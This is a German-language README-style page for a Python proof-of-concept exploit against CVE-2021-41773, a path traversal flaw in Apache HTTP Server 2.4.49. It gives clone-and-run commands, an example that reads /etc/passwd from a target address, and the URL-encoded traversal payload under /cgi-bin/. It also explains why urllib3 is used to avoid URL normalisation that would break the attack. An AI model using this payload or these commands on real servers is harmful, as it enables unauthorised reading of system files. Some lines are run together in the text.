
Python-Exploit für CVE-2021-41773 - Apache HTTP Server 2.4.49 Path Traversal-Sicherheitslücke
Ein Python-Exploit für CVE-2021-41773, eine Path-Traversal-Sicherheitslücke in Apache HTTP Server 2.4.49, die das Lesen beliebiger Dateien vom Server ermöglicht.
CVE-2021-41773 ist eine Path-Traversal-Sicherheitslücke in Apache HTTP Server 2.4.49, die aufgrund einer unzureichenden Validierung benutzerdefinierter Pfade auftritt. Die Schwachstelle ermöglicht es Angreifern, Dateien außerhalb des Dokumentenverzeichnisses zu lesen, indem sie URL-kodierte Path-Traversal-Sequenzen verwenden.
git clone https://github.com/blu3ming/PoC-CVE-2021-41773
cd PoC-CVE-2021-41773
pip install -r requirements.txt
python3 cve-2021-41773.py -t <target> -f <file_path>
-t, --target: Ziel-URL (Protokoll und Port angeben, falls erforderlich)-f, --file: Dateipfad, der vom Server gelesen werden soll# Read /etc/passwd
python3 cve-2021-41773.py -t http://192.168.1.100:443 -f /etc/passwd

Der Exploit verwendet URL-kodierte Path-Traversal-Sequenzen (.%2e/%2e%2e/), um Apaches Pfadvalidierung zu umgehen:
.%2e) umgehen die ersten SicherheitsprüfungenDer Schlüssel liegt in der Verwendung von urllib3.PoolManager() anstelle von requests.get(), um eine automatische URL-Normalisierung zu verhindern, die den Exploit zerstören würde.
# The exploit URL structure:
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/{target_file}
Dies entspricht:
/cgi-bin/../../../../{target_file}